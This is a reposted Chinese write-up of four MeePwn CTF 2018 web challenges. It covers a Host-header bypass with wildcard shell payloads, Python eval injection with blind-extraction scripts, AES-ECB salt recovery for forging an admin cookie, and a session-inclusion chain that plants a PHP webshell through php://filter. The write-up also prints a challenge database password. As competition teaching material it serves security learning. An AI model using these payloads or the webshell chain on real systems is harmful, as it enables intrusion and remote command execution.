MeePwn-Web复现

web1-OmegaSector

题目链接:http://138.68.228.12/

html注释中:

访问:http://138.68.228.12/?is_debug=1

得到回显

发现网站源码,这里给出关键部分:

flag的位置:

1ini_set("display_errors", 0); 
2include('secret.php'); 

两个跳转功能:

 1if($whoareyou==="alien.somewhere.meepwn.team") 
 2{ 
 3    if(!isset($_GET['alien'])) 
 4    { 
 5        $wrong = <<<EOF 
 6.......(省略)
 7EOF; 
 8        echo $wrong; 
 9    } 
10    if(isset($_GET['alien']) and !empty($_GET['alien'])) 
11    { 
12         if($_GET['alien']==='@!#$@!@@') 
13        { 
14            $_SESSION['auth']=hash('sha256', 'alien'.$salt); 
15            exit(header( "Location: alien_sector.php" )); 
16        } 
17        else 
18        { 
19            mapl_die(); 
20        } 
21    } 
22} 

这里有一个链接的跳转header( "Location: alien_sector.php" ),但是需要$_GET['alien']==='@!#$@!@@'

然后紧接着

 1elseif($whoareyou==="human.ludibrium.meepwn.team") 
 2{
 3 if(!isset($_GET['human'])) 
 4    { 
 5        echo ""; 
 6        $wrong = .......(省略)
 7        echo $wrong; 
 8    } 
 9    if(isset($_GET['human']) and !empty($_GET['human'])) 
10    { 
11         if($_GET['human']==='Yes') 
12        { 
13            $_SESSION['auth']=hash('sha256', 'human'.$salt); 
14            exit(header( "Location: omega_sector.php" )); 
15        } 
16        else 
17        { 
18            mapl_die(); 
19        } 
20    } 
21}

这里也有一个不同的跳转omega_sector.php,需要$_GET['human']==='Yes'

whoareyou的来源:

 1$remote=$_SERVER['REQUEST_URI']; 
 2if(strpos(urldecode($remote),'..')) 
 3{ 
 4mapl_die(); 
 5} 
 6if(!parse_url($remote, PHP_URL_HOST)) 
 7{ 
 8    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; 
 9} 
10$whoareyou=parse_url($remote, PHP_URL_HOST); 

攻击思路:

很明显,第一步是要过这里的whoareyou解析

我们必须访问题目的链接http://138.68.228.12/,但是又需要它将host解析成

alien.somewhere.meepwn.team或human.ludibrium.meepwn.team

那么这里就可以利用Burp抓包修改bypass

显然成功触发了302跳转

我们跟一下

成功来到了alien_sector.php页面

经过fuzz,不难发现,这个页面只允许输入符号,而数字和字母是非法的

type控制文件后缀,message控制文件内容

另一边,omega_sector.php是一样的,我就不再赘述,是只允许字母和数字,不允许任何符号

而对于符号,我立刻就想到了利用?来通配bypass的trick,而对于php标签,在Solveme.peng.kr中遇到过:

http://www.freebuf.com/articles/web/165537.html

类似于

1<?=$flag='123';?>

可以解析为

1<?php
2$flag='123';
3echo $flag;
4?>

而对于通配符,早在geekgame中我也遇到过:

http://skysec.top/2017/10/28/geekgame%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/#%E4%BD%A0%E7%9A%84%E5%90%8D%E5%AD%97

所以这里可以用?来通配命令

例如

我们可以利用/???/???来通配/bin/cat

而flag文件

1../secret.php

可以用

1../??????.???

简单测试

访问该文件得到

it works!

payload

综上所述,可以得到payload

为什么使用重定向:因为我尝试过直接读取,但是貌似太大了,页面一直在加载中,很难受

访问该页面,下载重定向文件,即可看到flag

web2-PyCalx

题目链接:http://178.128.96.203/cgi-bin/server.py?value1=123&op=%3D%3D&value2=123

题目直接给出了源码(给出关键部分)

源码分析:

 1#!/usr/bin/env python
 2import cgi;
 3import sys
 4from html import escape
 5
 6FLAG = open('/var/www/flag','r').read()
 7if 'source' in arguments:
 8    source = arguments['source'].value
 9else:
10    source = 0
11
12if source == '1':
13    print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')
14
15if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:
16    def get_value(val):
17        val = str(val)[:64]
18        if str(val).isdigit(): return int(val)
19        blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
20        if val == '' or [c for c in blacklist if c in val] != []:
21            print('<center>Invalid value</center>')
22            sys.exit(0)
23        return val
24
25    def get_op(val):
26        val = str(val)[:2]
27        list_ops = ['+','-','/','*','=','!']
28        if val == '' or val[0] not in list_ops:
29            print('<center>Invalid op</center>')
30            sys.exit(0)
31        return val
32
33    op = get_op(arguments['op'].value)
34    value1 = get_value(arguments['value1'].value)
35    value2 = get_value(arguments['value2'].value)
36
37    if str(value1).isdigit() ^ str(value2).isdigit():
38        print('<center>Types of the values don\'t match</center>')
39        sys.exit(0)
40
41    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
42
43    print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')
44    print('>>>> print('+escape(calc_eval)+')')
45
46    try:
47        result = str(eval(calc_eval))
48        if result.isdigit() or result == 'True' or result == 'False':
49            print(result)
50        else:
51            print("Invalid") # Sorry we don't support output as a string due to security issue.
52    except:
53        print("Invalid")

代码很好理解,接收了4个参数,对其中3个参数进行check(source参数不check)然后拼接3个参数,进行命令执行判断执行结果是否为bool值或者数字,如果是,则输出,反之则输出无效

那我们的思路也很简单了,bypass过滤,执行命令,读取/var/www/flag

而过滤如下:

11.对于value:最长为64,不可出现黑名单字符'( ) [ ] ' " '
22.对于op:最长为2,必须以白名单开头'+ - / * = !'
33.value1和value2的类型必须一样,要么都为数字,要么都为字符串

攻击思路:

这里想要命令执行显然比较困难

但是题目暗示明显,想让我们进行运算比较

那这就和sql注入很相似了,我们只需要构造两个值进行比较即可

而题目意图也很直接,关于op,留下了2个字符长度,却只过滤了一个

我们知道python中,+除了运算符的加,也可以当做拼接符

而#可以用于注释

那么就可以进行注入闭合了

1value1=a
2op=+'
3value2= < b#

此时我们可以发现语句变成了

1'a'+''<b#'

但是这样是无效的,因为b不是一个已定义的变量

所以这里想到引入已定义的变量进行注入

那么能控制的也只有source、value1了(因为value2无法引入单引号)

此时还只能构造已定义变量的表达式,所以想到了

1value1+FLAG<vaule1+source

这样的表达式

对于source的值,我们可以控制

1if 'source' in arguments:
2    source = arguments['source'].value

故此可以得到如下的payload:

1source=M&value1=sky&value2=+FLAG<value1+source#&op=+'

这样一来就可以得到比较式

1'x'+''+FLAG<value1+source

而value1正是前面的x,我们可以利用能控制的source比较出FLAG

这也是sql注入中常见的手段

注入脚本:

 1import requests
 2import urllib
 3source="M"
 4v2="+FLAG<value1+source#"
 5op="+'"
 6
 7for i in range(1,1000):
 8    tmp = source
 9    for j in range(33,127):
10        tmp += chr(j)
11        url = "http://178.128.96.203/cgi-bin/server.py?source=%s&value1=sky&value2=%s&op=%s"%(urllib.quote(tmp),urllib.quote(v2),urllib.quote(op))
12        s=requests.get(url=url)
13        tmp = source
14        if "True" in s.content[765:780]:
15            source += chr(j-1)
16            print source
17            break

运行结束即可得到flag

web3-PyCalx2

这里变成了加强版,有了我之前说的op过滤

我们对比一下两者源码,只有这一处改动

1 op = get_op(get_value(arguments['op'].value))

也就是说加入了黑名单过滤

我们的op不能再引入( ) [ ] ' "

那么引号肯定是不能直接像sql注入那样闭合了

攻击思路

这里就用到了python3.6的新特性

https://www.python.org/dev/peps/pep-0498/

即以f 开头,表达式放在大括号{}里,在运行时表达式会被计算并替换成对应的值。

那么我们可以利用op=+f来进行bypass

为了有办法辨识正确性,所以引入了0和1做对比

但是因为结果只允许True和False

在保证区分度的情况下,还得构造出True

这里就用到了14:x

正如图中所示,其经过表达式后,值为e

而表达式中,如果是0的话,那么输出则为True,如果为1的话,那么输出则不是True,也就是无效

这样就有了辨识度,可以进行注入了

直接将0和1的位置改成FLAG<source进行比较即可

攻击脚本:

 1import requests
 2import urllib
 3source="M"
 4v2="ru{FLAG<source or 14:x}"
 5op="+f"
 6
 7for i in range(1,1000):
 8    tmp = source
 9    for j in range(33,127):
10        tmp += chr(j)
11        url = "http://206.189.223.3/cgi-bin/server.py?source=%s&value1=T&value2=%s&op=%s"%(urllib.quote(tmp),urllib.quote(v2),urllib.quote(op))
12        s=requests.get(url=url)
13        tmp = source
14        if "True" not in s.content[765:780]:
15            source += chr(j-1)
16            print source
17            break

运行后得到flag

web4-Mapl Story

题目链接:http://178.128.87.16/

题目源码下载:

https://ctf.meepwn.team/attachments/web/MaplStory_f7056ad79428f636ca4e92f283727818ecc0dd70ecb95f8a12e2764df0946022.zip

代码分析

拿到代码后,发现不是框架写的,那么就从入口入手吧

审计index.php

1if(isset($_GET['page']) && !empty($_GET['page']))
2{
3    include($_GET['page']);
4}
5else
6{
7    header("Location: ?page=login.php");
8}

不难发现存在文件包含问题,这里暂时记下

然后跟着跳转来到Login.php

 1if( $count === 1 && $row['userPass']===$password ) 
 2            {
 3                $secure_email=encryptData($row['userEmail'],$salt,$key);
 4                $secure_name=encryptData($row['userName'],$salt,$key);
 5                $log_content='['.date("h:i:sa").' GMT+7] Logged In';
 6                $_SESSION['character_name'] = $secure_name;
 7                $_SESSION['user'] = $secure_email;
 8                $_SESSION['action']=$log_content;
 9                if ($row['userIsAdmin']==='1')
10                {
11                    $data='admin'.$salt;
12                    $role=hash('sha256', $data);
13                    setcookie('_role',$role);
14                }
15                else
16                {
17                    $data='user'.$salt;
18                    $role=hash('sha256', $data);
19                    setcookie('_role',$role);      
20                }
21                header("Location: ?page=home.php");
22            } 

登录成功后,将会把登录的身份+盐的sha256赋值给cookie的_role

我们继续跟进到admin.php,看是否使用_role判断是否为admin

关键代码

 1<?php
 2    ob_start();
 3    require_once('dbconnect.php');
 4    require_once('mapl_library.php');
 5    check_access();
 6    is_login();
 7
 8    //setup config
 9    $configRow=config_connect($conn);
10    $salt=$configRow['mapl_salt'];
11    $key=$configRow['mapl_key'];
12
13    //get information
14    $mail=mysqli_real_escape_string($conn,decryptData($_SESSION['user'],$salt,$key));
15    $character_name=mysqli_real_escape_string($conn,decryptData($_SESSION['character_name'],$salt,$key));
16    $userRow=user_connect($conn,$mail);
17    $admin=is_admin($salt);
18    if($admin===0)
19    {
20        mapl_die();
21    }
22    $log_content='['.date("h:i:sa").' GMT+7] Access Hidden Street!';
23    $_SESSION['action']=$log_content;
24?>

我们跟进is_admin()函数

1    function is_admin($salt)
2    {
3        if(isset($_COOKIE['_role']) && !empty($_COOKIE['_role']) && $_COOKIE['_role']===hash('sha256', 'admin'.$salt))
4        {
5            return 1;
6        }
7            return 0;
8    }

发现的确是使用cookie中的_role来确认admin的身份

那么现在的思路很简单,伪造cookie,变成admin,触发下一步功能

第一步攻击思路:

那么既然需要伪造cookie,就必须知道salt的值

我们全局搜索一下$salt,不难发现

1function encryptData($data,$salt,$key)
2    {
3            $encrypt=openssl_encrypt($data.$salt,"AES-128-ECB",$key);
4            $raw=base64_decode($encrypt);
5            $final=implode(unpack("H*", $raw));
6            return $final;
7    }

因为有做过CBC的Padding Oracle Attack,所以我知道这里的ECB可能也存在问题

或许可以用类似的方法,得到$salt的明文

而我们知道这个函数的调用点在login的时候

1$secure_email=encryptData($row['userEmail'],$salt,$key);            
2$secure_name=encryptData($row['userName'],$salt,$key);
3$_SESSION['character_name'] = $secure_name;
4$_SESSION['user'] = $secure_email;

值是存在session里的,那我们如何看到这个值呢?

这就要用到最开始的文件包含了

文件包含的时候包含session是一种常见的手段

一般用于getshell等(N1CTF等各大比赛就曾出现过)

这里我们可以使用包含读取session的变量值

http://178.128.87.16/?page=/var/lib/php/sessions/sess_81nfo68a16biqs4miuu17146n3

得到内容

1character_name|s:64:"28288a94081dcbd325417d83957b9305080a355c37b4654ec2a5813f81dbe98b";user|s:64:"c15b9c9a37650c56d735659c9e77af8675d32841afa09ffe1f2c633855139005";action|s:28:"[12:56:31pm GMT+7] Logged In";

于是我们得到了加密过的

1$secure_email:c15b9c9a37650c56d735659c9e77af8675d32841afa09ffe1f2c633855139005
2$secure_name:28288a94081dcbd325417d83957b9305080a355c37b4654ec2a5813f81dbe98b

那么怎么利用这一点得到$salt呢?

这里可以利用相似Padding Oracle Attack的解法,但是简单的多

1.假设明文为:skycool, salt的值为:Whitzard

2.加密的时候就会变成string:skycoolWhitzard

而如果8个一组进行加密的话

skycoolW为第一组

hitzard+(padding)为第二组

那么如果我们注册一个用户名为skycool的用户,得到他的$secure_name

然后不断更新用户名

skycoola

skycoolb

.....

直到第一个分组的密文等于之前的$secure_name

即skycoolW

此时就得到了第一个salt的值:W

所以总体过程为

skycoolW

skycooWhitzard

skycoWhi

skycWhit

skyWhitz

skWhitza

sWhitzar

Whitzard

而这里是16个一组,所以如图,我们不断往后爆破即可得到salt

即注册skyskyskyskysky即可,然后利用

http://178.128.87.16/index.php?page=setting.php

即可更改用户名,不断进行爆破,即可得到salt

salt爆破脚本:

 1import requests
 2import string
 3phpsession = "alsobtmcmlh2i057l1q8qg8g72"
 4phprole = "8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690add608236cbe"
 5
 6def readname():
 7    url = "http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_"+phpsession
 8    r = requests.get(url=url)
 9    return r.content[21:85]
10
11def changname(username):
12    url = "http://178.128.87.16/index.php?page=setting.php"
13    data = {
14        "name":username,
15        "submit":"Edit"
16    }
17    cookie = {
18        "PHPSESSID":phpsession,
19        "_role":phprole
20    }
21    s = requests.post(url=url,data=data,cookies=cookie)
22
23def getsalt():
24    tmp_name = 'skyskyskyskysky'
25    salt = ''
26    for i in range(15, -1, -1):
27        changname(tmp_name[:i])
28        cmp = readname()[:32]
29        if i==0:
30            cmp = readname()[32:64]
31        for j in string.printable:
32            changname(tmp_name[:i] + salt + j)
33            if cmp == readname()[:32]:
34                salt += j
35                print salt
36                break
37
38getsalt()

运行即可得到salt:ms_g00d_0ld_g4m3

第二步攻击思考

有了salt,第一件事肯定是伪造cookie的_role

我们根据

1if ($row['userIsAdmin']==='1')
2{
3    $data='admin'.$salt;
4    $role=hash('sha256', $data);
5    setcookie('_role',$role);
6}

伪造cookie:

1import hashlib
2def sha256(name,salt):
3    sha = hashlib.sha256(name+salt)
4    encrypts = sha.hexdigest()
5    return encrypts
6salt = 'ms_g00d_0ld_g4m3'
7name = 'admin'
8print sha256(name,salt)

得到

a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054

此时成功伪造admin,登入admin.php页面

然后我们看一下admin.php的代码

 1 <?php
 2    if ( isset($_POST['pet']) && !empty($_POST['pet']) && isset($_POST['email']) && !empty($_POST['email']) )
 3    {
 4        $dir='./upload/'.md5($salt.$_POST['email']).'/';
 5        give_pet($dir,$_POST['pet']);
 6        if(check_available_pet($_POST['pet']))
 7        {
 8                $log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);
 9                $_SESSION['action']=$log_content;
10        }
11    }
12    ?>

这里有一个地方非常瞩目,因为我之前有说过,包含session文件getshell是比较常见的一个思路

那么这里有一个可控的session变量就显得尤为危险

我们看一下构造

1$log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);

跟进search_name_by_mail()

 1function search_name_by_mail($conn,$mail)
 2    {
 3        $mail=mysqli_real_escape_string($conn,$mail);
 4        $res=mysqli_query($conn,"SELECT userName FROM users WHERE userEmail='".$mail."'");
 5        $userRow=mysqli_fetch_array($res);
 6        if($userRow['userName'])
 7        {
 8            return $userRow['userName'];
 9        }
10        else
11        {
12            return '[Not Exists Player]';
13        }
14    }

发现成功返回用户名,也就是说这里可以将用户名写入session

而用户名是可控的,但是必须经过黑名单过滤

1$too_bad="/(fuck|bakayaro|ditme|bitch|caonima|idiot|bobo|tanga|pin|gago|tangina|\/\/|damn|noob|pro|nishigou|stupid|ass|\(.+\)|`.+`|vcl|cyka|dcm)/is";

除了过滤了一些脏话,有一个正则非常难受

1|\(.+\)|`.+`|

而这个过滤是针对全局的get和post的,这样我们就不能直接利用用户名+session getshell了

所以这里就要用到最后一个尚未被使用的功能了:

http://178.128.87.16/index.php?page=character.php

跟一下代码

 1if(isset($_POST['command']) && !empty($_POST['command']))
 2{
 3    if(strlen($_POST['command'])>=20)
 4    {
 5        echo '<center><strong>Too Long</strong></center>';
 6    }
 7    else
 8    {
 9        save_command($mail,$salt,$_POST['command']);
10        header("Refresh:0");
11    }
12}

这里跟踪save_command()

1    function save_command($email,$salt,$data)
2    {
3        $dir='./upload/'.md5($salt.$email);
4        file_put_contents($dir.'/command.txt', $data);
5    }

发现是写文件

那么我们思考一下,可否包含自己写的文件进行getshell呢?

但是问题又来了,文件的内容是post形式的,那么还是要经过过滤,这就非常尴尬了

有没有什么可以绕过过滤的方法呢?

我们知道cookie是未被过滤的,而我们可控的点有一个txt的文件写入和一个php文件的内容,但是都要经过过滤

这里有一个比较好的思路

构造一个名为

1<?=include"$_COOKIE[a]

的用户名

然后利用发送宠物,将其写入session

此时,我们就在cookie里有了文件包含的方法,这样就可以轻松bypass过滤

然后我们在写文件的地方,写入小马的base64

再利用伪协议包含这个文件,即可解码成功,并包含小马,达到getshell的目的

攻击流程:

1.修改自己的用户名为:

1<?=include"$_COOKIE[a]

2.admin.php发送宠物给自己

3.character.php给宠物下命令PD89YCRfR0VUW2ZdYDs

1<?=`$_GET[f]`;

然后在自己的session页面

http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_860rofo88uaj96mrs8u2ufk0k6

增加cookie:

a=php://filter/convert.base64-decode/resource=upload/783691d030e4c77da08982a705ff9e76/command.txt

利用伪协议解码小马,并包含进来

即可成功执行命令

然后读取dbconnect.php

1define('DBHOST', 'localhost');
 2    define('DBUSER', 'mapl_story_user');
 3    define('DBPASS', 'tsu_tsu_tsu_tsu'); 
 4    define('DBNAME', 'mapl_story');
 5
 6    $conn = mysqli_connect(DBHOST,DBUSER,DBPASS,DBNAME);
 7
 8    if ( !$conn ) {
 9        die("Connection failed : " . mysql_error());
10    }

连接并查询数据库

1echo 'SELECT * FROM mapl_config;'| mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story

得到flag

-END-

本文分享自微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-08-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • LCTF2018-bestphp's revenge 详细题解

    这里只需要关注call_user_func这个回调函数。 call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数...

    安恒网络空间安全讲武堂
  • LCTF2018-bestphp&#39;s revenge 详细题解

    这里只需要关注call_user_func这个回调函数。 call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数...

    安恒网络空间安全讲武堂
  • PHP 邮件漏洞小结

    PHP中,mail的函数在底层是写好的,调用linux的sendmail程序来发送邮件,在额外参数中,sendmail还支持其他三个选项。

    安恒网络空间安全讲武堂
  • 处理只想本地修改配置文件不想提交到远程的shell脚本(修改版)

    阿章-python小学生
  • linux中"!"的惊叹用法,你知道吗?

    实际上,不起眼的“!”在linux中有着很多让你惊叹的妙用。本文就来细数那些“!”的神奇用法。

    编程珠玑
  • 057 组件化的Android

    Android中一切都是组件, 程序是由组件组成,比如四大组件:Activity Service BroadcastReceiver ContentProv...

    上善若水.夏
  • python脚本向influxdb写入数

    python3使用requests模块向influxdb的http API发送接口请求实现数据写入,如下:

    py3study
  • Kubernetes 最佳实践:处理内存碎片化

    节点的内存碎片化严重,导致docker运行容器时,无法分到大的内存块,导致start docker失败。最终导致服务更新时,状态一直都是启动中

    imroc
  • 一分钟,用小程序给手机换张壁纸吧!

    知晓君
  • NFS客户端创建文件属主显示nobody

    相信使用CentOS6搭建NFS的朋友大多都遇到过如此问题,NFS服务搭建好后,在客户端挂载成功了,但是创建文件时,属主和属组却显示为nobody。 这是NFS...

    老七Linux

扫码关注云+社区

领取腾讯云代金券